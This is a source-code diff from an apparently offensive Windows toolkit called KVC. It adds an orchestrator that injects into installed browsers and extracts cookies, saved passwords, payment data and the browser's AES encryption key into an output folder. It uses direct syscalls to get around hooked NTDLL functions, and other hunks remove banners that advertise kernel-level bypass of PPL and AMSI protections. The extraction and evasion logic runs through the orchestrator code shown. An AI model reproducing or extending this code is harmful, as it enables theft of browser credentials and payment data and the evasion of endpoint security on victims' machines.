if (i < installedBrowsers.size() - 1)
|
||||||
|
std::cout << std::endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (const std::exception& e)
|
||||||
|
{
|
||||||
|
failCount++;
|
||||||
|
|
||||||
|
if (verbose)
|
||||||
|
{
|
||||||
|
console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what()));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
console.Info(config.browserDisplayName);
|
||||||
|
console.Error("Analysis failed");
|
||||||
|
if (i < installedBrowsers.size() - 1)
|
||||||
|
std::cout << std::endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::cout << std::endl;
|
||||||
|
console.Info("Completed: " + std::to_string(successCount) + " successful, " +
|
||||||
|
std::to_string(failCount) + " failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Displays formatted extraction summary with statistics
|
||||||
|
void DisplayExtractionSummary(const std::string& browserName,
|
||||||
|
const PipeCommunicator::ExtractionStats& stats,
|
||||||
|
const Console& console, bool singleBrowser,
|
||||||
|
const fs::path& outputPath)
|
||||||
|
{
|
||||||
|
if (singleBrowser)
|
||||||
|
{
|
||||||
|
if (!stats.aesKey.empty())
|
||||||
|
console.Success("AES Key: " + stats.aesKey);
|
||||||
|
|
||||||
|
std::string summary = BuildExtractionSummary(stats);
|
||||||
|
if (!summary.empty())
|
||||||
|
{
|
||||||
|
console.Success(summary);
|
||||||
|
console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
console.Warn("No data extracted");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
console.Info(browserName);
|
||||||
|
|
||||||
|
if (!stats.aesKey.empty())
|
||||||
|
console.Success("AES Key: " + stats.aesKey);
|
||||||
|
|
||||||
|
std::string summary = BuildExtractionSummary(stats);
|
||||||
|
if (!summary.empty())
|
||||||
|
{
|
||||||
|
console.Success(summary);
|
||||||
|
console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
console.Warn("No data extracted");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Builds human-readable summary from extraction statistics
|
||||||
|
std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats)
|
||||||
|
{
|
||||||
|
std::stringstream summary;
|
||||||
|
std::vector<std::string> items;
|
||||||
|
|
||||||
|
if (stats.totalCookies > 0)
|
||||||
|
items.push_back(std::to_string(stats.totalCookies) + " cookies");
|
||||||
|
if (stats.totalPasswords > 0)
|
||||||
|
items.push_back(std::to_string(stats.totalPasswords) + " passwords");
|
||||||
|
if (stats.totalPayments > 0)
|
||||||
|
items.push_back(std::to_string(stats.totalPayments) + " payments");
|
||||||
|
|
||||||
|
if (!items.empty())
|
||||||
|
{
|
||||||
|
summary << "Extracted ";
|
||||||
|
for (size_t i = 0; i < items.size(); ++i)
|
||||||
|
{
|
||||||
|
if (i > 0 && i == items.size() - 1)
|
||||||
|
summary << " and ";
|
||||||
|
else if (i > 0)
|
||||||
|
summary << ", ";
|
||||||
|
summary << items[i];
|
||||||
|
}
|
||||||
|
summary << " from " << stats.profileCount << " profile"
|
||||||
|
<< (stats.profileCount != 1 ? "s" : "");
|
||||||
|
}
|
||||||
|
|
||||||
|
return summary.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Application entry point
|
||||||
|
int wmain(int argc, wchar_t* argv[])
|
||||||
|
{
|
||||||
|
bool isVerbose = false;
|
||||||
|
std::wstring browserTarget;
|
||||||
|
fs::path outputPath;
|
||||||
|
|
||||||
|
// Locate security module in current directory or System32
|
||||||
|
auto findSecurityModule = []() -> std::string {
|
||||||
|
if (fs::exists(SECURITY_MODULE_NAME))
|
||||||
|
return SECURITY_MODULE_NAME;
|
||||||
|
|
||||||
|
wchar_t systemDir[MAX_PATH];
|
||||||
|
if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
|
||||||
|
std::string systemPath = Utils::WStringToUtf8(systemDir) + "\\" + SECURITY_MODULE_NAME;
|
||||||
|
if (fs::exists(systemPath))
|
||||||
|
return systemPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
return "";
|
||||||
|
};
|
||||||
|
|
||||||
|
g_securityModulePath = findSecurityModule();
|
||||||
|
if (g_securityModulePath.empty())
|
||||||
|
{
|
||||||
|
std::wcerr << L"Error: " << SECURITY_MODULE_NAME
|
||||||
|
<< L" not found in current directory or System32!" << std::endl;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Quick argument parsing for early options
|
||||||
|
for (int i = 1; i < argc; ++i)
|
||||||
|
{
|
||||||
|
std::wstring_view arg = argv[i];
|
||||||
|
if (arg == L"--verbose" || arg == L"-v")
|
||||||
|
isVerbose = true;
|
||||||
|
else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc)
|
||||||
|
outputPath = argv[++i];
|
||||||
|
else if (arg == L"--help" || arg == L"-h")
|
||||||
|
{
|
||||||
|
Console(false).displayBanner();
|
||||||
|
Console(false).printUsage();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-')
|
||||||
|
browserTarget = arg;
|
||||||
|
}
|
||||||
|
|
||||||
|
Console console(isVerbose);
|
||||||
|
console.displayBanner();
|
||||||
|
|
||||||
|
// Verify SQLite library availability
|
||||||
|
if (!CheckWinSQLite3Available())
|
||||||
|
{
|
||||||
|
console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll");
|
||||||
|
if (!fs::exists("sqlite3.dll"))
|
||||||
|
{
|
||||||
|
console.Error("Neither winsqlite3.dll nor sqlite3.dll available");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (browserTarget.empty())
|
||||||
|
{
|
||||||
|
console.printUsage();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize direct syscalls
|
||||||
|
if (!InitializeSyscalls(isVerbose))
|
||||||
|
{
|
||||||
|
console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked.");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure output directory exists
|
||||||
|
if (outputPath.empty())
|
||||||
|
outputPath = fs::current_path() / "output";
|
||||||
|
|
||||||
|
std::error_code ec;
|
||||||
|
if (!fs::exists(outputPath)) {
|
||||||
|
fs::create_directories(outputPath, ec);
|
||||||
|
if (ec) {
|
||||||
|
console.Error("Failed to create output directory: " +
|
||||||
|
Utils::path_to_api_string(outputPath) + ". Error: " + ec.message());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Process browser(s)
|
||||||
|
if (browserTarget == L"all")
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
ProcessAllBrowsers(console, isVerbose, outputPath);
|
||||||
|
}
|
||||||
|
catch (const std::exception& e)
|
||||||
|
{
|
||||||
|
console.Error(e.what());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
auto optConfig = Configuration::CreateFromArgs(argc, argv, console);
|
||||||
|
if (!optConfig)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (!isVerbose)
|
||||||
|
console.Info("Processing " + optConfig->browserDisplayName + "...\n");
|
||||||
|
|
||||||
|
auto stats = RunInjectionWorkflow(*optConfig, console);
|
||||||
|
|
||||||
|
if (!isVerbose)
|
||||||
|
DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true,
|
||||||
|
optConfig->outputPath);
|
||||||
|
else
|
||||||
|
console.Success("\nSecurity analysis completed successfully");
|
||||||
|
}
|
||||||
|
catch (const std::runtime_error& e)
|
||||||
|
{
|
||||||
|
console.Error(e.what());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
console.Debug("Security orchestrator finished successfully.");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
41
kvc/OrchestratorCore.h
Normal file
41
kvc/OrchestratorCore.h
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
// OrchestratorCore.h - Main orchestration logic and configuration management
|
||||||
|
#ifndef ORCHESTRATOR_CORE_H
|
||||||
|
#define ORCHESTRATOR_CORE_H
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <filesystem>
|
||||||
|
#include <optional>
|
||||||
|
#include <string>
|
||||||
|
#include "CommunicationLayer.h"
|
||||||
|
#include "EdgeDPAPI.h"
|
||||||
|
|
||||||
|
namespace fs = std::filesystem;
|
||||||
|
|
||||||
|
// Application configuration parsed from command-line arguments
|
||||||
|
struct Configuration
|
||||||
|
{
|
||||||
|
bool verbose = false;
|
||||||
|
fs::path outputPath;
|
||||||
|
std::wstring browserType;
|
||||||
|
std::wstring browserProcessName;
|
||||||
|
std::wstring browserDefaultExePath;
|
||||||
|
std::string browserDisplayName;
|
||||||
|
|
||||||
|
// Parses command line arguments and builds configuration
|
||||||
|
static std::optional<Configuration> CreateFromArgs(int argc, wchar_t* argv[], const Console& console);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Executes the complete browser analysis workflow
|
||||||
|
PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console);
|
||||||
|
|
||||||
|
// Processes all installed browsers in batch mode
|
||||||
|
void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath);
|
||||||
|
|
||||||
|
// Displays final extraction summary for a single browser
|
||||||
|
void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats,
|
||||||
|
const Console& console, bool singleBrowser, const fs::path& outputPath);
|
||||||
|
|
||||||
|
// Builds a human-readable summary string from extraction statistics
|
||||||
|
std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats);
|
||||||
|
|
||||||
|
#endif // ORCHESTRATOR_CORE_H
|
||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// ProcessManager.cpp
|
// ProcessManager.cpp
|
||||||
#include "ProcessManager.h"
|
#include "ProcessManager.h"
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "ReportExporter.h"
|
#include "ReportExporter.h"
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include <filesystem>
|
#include <filesystem>
|
||||||
|
|||||||
@@ -1,29 +1,4 @@
|
|||||||
/*******************************************************************************
|
// SelfLoader.cpp
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// SelfLoader.cpp
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
#include <cstring>
|
#include <cstring>
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "ServiceManager.h"
|
#include "ServiceManager.h"
|
||||||
#include "Controller.h"
|
#include "Controller.h"
|
||||||
#include "KeyboardHook.h"
|
#include "KeyboardHook.h"
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
#include "TrustedInstallerIntegrator.h"
|
#include "TrustedInstallerIntegrator.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
#include <tchar.h>
|
#include <tchar.h>
|
||||||
|
|||||||
@@ -1,28 +1,3 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
// Utils.cpp - Fixed compilation issues with NtQuerySystemInformation
|
// Utils.cpp - Fixed compilation issues with NtQuerySystemInformation
|
||||||
#include "Utils.h"
|
#include "Utils.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
|
|||||||
@@ -1,662 +0,0 @@
|
|||||||
/*******************************************************************************
|
|
||||||
_ ____ ______
|
|
||||||
| |/ /\ \ / / ___|
|
|
||||||
| ' / \ \ / / |
|
|
||||||
| . \ \ V /| |___
|
|
||||||
|_|\_\ \_/ \____|
|
|
||||||
|
|
||||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
||||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
||||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
||||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
||||||
|
|
||||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
||||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
||||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
||||||
that define these protections.
|
|
||||||
|
|
||||||
-----------------------------------------------------------------------------
|
|
||||||
Author : Marek Wesołowski
|
|
||||||
Email : marek@wesolowski.eu.org
|
|
||||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
||||||
Date : 04-09-2025
|
|
||||||
|
|
||||||
*******************************************************************************/
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// Utils.cpp - System utility functions with modern C++ optimizations
|
|
||||||
// Enhanced performance, robust error handling, low-level system operations
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
#include "Utils.h"
|
|
||||||
#include "common.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <tlhelp32.h>
|
|
||||||
#include <filesystem>
|
|
||||||
#include <unordered_map>
|
|
||||||
#include <algorithm>
|
|
||||||
#include <array>
|
|
||||||
#include <string_view>
|
|
||||||
#include <regex>
|
|
||||||
#include <memory>
|
|
||||||
|
|
||||||
namespace fs = std::filesystem;
|
|
||||||
|
|
||||||
namespace Utils {
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// STRING AND NUMERIC PARSING UTILITIES
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
[[nodiscard]] std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept
|
|
||||||
{
|
|
||||||
if (pidStr.empty()) return std::nullopt;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// Fast path for single digits
|
|
||||||
if (pidStr.length() == 1 && std::iswdigit(pidStr[0])) {
|
|
||||||
return static_cast<DWORD>(pidStr[0] - L'0');
|
|
||||||
}
|
|
||||||
|
|
||||||
// Validate all characters are digits before conversion
|
|
||||||
if (!std::all_of(pidStr.begin(), pidStr.end(),
|
|
||||||
[](wchar_t c) { return std::iswdigit(c); })) {
|
|
||||||
return std::nullopt;
|
|
||||||
}
|
|
||||||
|
|
||||||
const unsigned long result = std::wcstoul(pidStr.c_str(), nullptr, 10);
|
|
||||||
return (result <= MAXDWORD && result != ULONG_MAX) ?
|
|
||||||
std::make_optional(static_cast<DWORD>(result)) : std::nullopt;
|
|
||||||
|
|
||||||
} catch (...) {
|
|
||||||
return std::nullopt;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[[nodiscard]] bool IsNumeric(const std::wstring& str) noexcept
|
|
||||||
{
|
|
||||||
return !str.empty() &&
|
|
||||||
std::all_of(str.begin(), str.end(),
|
|
||||||
[](wchar_t c) { return c >= L'0' && c <= L'9'; });
|
|
||||||
}
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// ADVANCED FILE OPERATIONS WITH ROBUST ERROR HANDLING
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
bool ForceDeleteFile(const std::wstring& path) noexcept
|
|
||||||
{
|
|
||||||
// Fast path - try normal delete first
|
|
||||||
if (DeleteFileW(path.c_str())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Remove file attributes that might prevent deletion
|
|
||||||
const DWORD attrs = GetFileAttributesW(path.c_str());
|
|
||||||
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
|
||||||
SetFileAttributesW(path.c_str(), FILE_ATTRIBUTE_NORMAL);
|
|
||||||
|
|
||||||
// Retry after attribute removal
|
|
||||||
if (DeleteFileW(path.c_str())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Last resort: schedule deletion after reboot
|
|
||||||
wchar_t tempPath[MAX_PATH];
|
|
||||||
if (GetTempPathW(MAX_PATH, tempPath)) {
|
|
||||||
wchar_t tempFile[MAX_PATH];
|
|
||||||
if (GetTempFileNameW(tempPath, L"KVC", 0, tempFile)) {
|
|
||||||
if (MoveFileExW(path.c_str(), tempFile, MOVEFILE_REPLACE_EXISTING)) {
|
|
||||||
return MoveFileExW(tempFile, nullptr, MOVEFILE_DELAY_UNTIL_REBOOT);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data)
|
|
||||||
{
|
|
||||||
if (data.empty()) return false;
|
|
||||||
|
|
||||||
// Ensure parent directory exists
|
|
||||||
const fs::path filePath = path;
|
|
||||||
std::error_code ec;
|
|
||||||
fs::create_directories(filePath.parent_path(), ec);
|
|
||||||
|
|
||||||
// Remove existing file if present
|
|
||||||
if (fs::exists(filePath)) {
|
|
||||||
ForceDeleteFile(path);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create file with appropriate security attributes
|
|
||||||
const HANDLE hFile = CreateFileW(path.c_str(), GENERIC_WRITE, 0, nullptr,
|
|
||||||
CREATE_NEW, FILE_ATTRIBUTE_NORMAL, nullptr);
|
|
||||||
if (hFile == INVALID_HANDLE_VALUE) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Write data in chunks for large files - prevents memory issues
|
|
||||||
constexpr DWORD CHUNK_SIZE = 64 * 1024; // 64KB chunks
|
|
||||||
DWORD totalWritten = 0;
|
|
||||||
|
|
||||||
while (totalWritten < data.size()) {
|
|
||||||
const DWORD bytesToWrite = std::min(CHUNK_SIZE,
|
|
||||||
static_cast<DWORD>(data.size() - totalWritten));
|
|
||||||
DWORD bytesWritten;
|
|
||||||
|
|
||||||
if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite,
|
|
||||||
&bytesWritten, nullptr) || bytesWritten != bytesToWrite) {
|
|
||||||
CloseHandle(hFile);
|
|
||||||
DeleteFileW(path.c_str()); // Cleanup partial file
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
totalWritten += bytesWritten;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Ensure data is committed to disk
|
|
||||||
FlushFileBuffers(hFile);
|
|
||||||
CloseHandle(hFile);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
std::vector<BYTE> ReadFile(const std::wstring& path)
|
|
||||||
{
|
|
||||||
const HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ,
|
|
||||||
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
|
|
||||||
if (hFile == INVALID_HANDLE_VALUE) {
|
|
||||||
return {};
|
|
||||||
}
|
|
||||||
|
|
||||||
LARGE_INTEGER fileSize;
|
|
||||||
if (!GetFileSizeEx(hFile, &fileSize)) {
|
|
||||||
CloseHandle(hFile);
|
|
||||||
return {};
|
|
||||||
}
|
|
||||||
|
|
||||||
// Use memory mapping for files > 64KB - significant performance boost
|
|
||||||
if (fileSize.QuadPart > 65536) {
|
|
||||||
const HANDLE hMapping = CreateFileMappingW(hFile, nullptr, PAGE_READONLY, 0, 0, nullptr);
|
|
||||||
if (hMapping) {
|
|
||||||
void* const pData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
|
|
||||||
if (pData) {
|
|
||||||
std::vector<BYTE> result(static_cast<const BYTE*>(pData),
|
|
||||||
static_cast<const BYTE*>(pData) + fileSize.QuadPart);
|
|
||||||
UnmapViewOfFile(pData);
|
|
||||||
CloseHandle(hMapping);
|
|
||||||
CloseHandle(hFile);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
CloseHandle(hMapping);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Fallback to standard read for small files
|
|
||||||
std::vector<BYTE> buffer(static_cast<size_t>(fileSize.QuadPart));
|
|
||||||
DWORD bytesRead;
|
|
||||||
|
|
||||||
const BOOL success = ::ReadFile(hFile, buffer.data(), static_cast<DWORD>(buffer.size()),
|
|
||||||
&bytesRead, nullptr);
|
|
||||||
CloseHandle(hFile);
|
|
||||||
|
|
||||||
return (success && bytesRead == buffer.size()) ? std::move(buffer) : std::vector<BYTE>{};
|
|
||||||
}
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// RESOURCE EXTRACTION WITH VALIDATION
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType)
|
|
||||||
{
|
|
||||||
const HRSRC hRes = FindResource(nullptr, MAKEINTRESOURCE(resourceId), resourceType);
|
|
||||||
if (!hRes) return {};
|
|
||||||
|
|
||||||
const HGLOBAL hData = LoadResource(nullptr, hRes);
|
|
||||||
if (!hData) return {};
|
|
||||||
|
|
||||||
const DWORD dataSize = SizeofResource(nullptr, hRes);
|
|
||||||
if (dataSize == 0) return {};
|
|
||||||
|
|
||||||
void* const pData = LockResource(hData);
|
|
||||||
if (!pData) return {};
|
|
||||||
|
|
||||||
return std::vector<BYTE>(static_cast<const BYTE*>(pData),
|
|
||||||
static_cast<const BYTE*>(pData) + dataSize);
|
|
||||||
}
|
|
||||||
|
|
||||||
//==============================================================================
|
|
||||||
// PROCESS NAME RESOLUTION WITH INTELLIGENT CACHING
|
|
||||||
//==============================================================================
|
|
||||||
|
|
||||||
static thread_local std::unordered_map<DWORD, std::wstring> g_processCache;
|
|
||||||
static thread_local DWORD g_lastCacheUpdate = 0;
|
|
||||||
|
|
||||||
[[nodiscard]] std::wstring GetProcessName(DWORD pid) noexcept
|
|
||||||
{
|
|
||||||
// Use CreateToolhelp32Snapshot for reliable process enumeration
|
|
||||||
const HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
||||||
if (hSnapshot == INVALID_HANDLE_VALUE) {
|
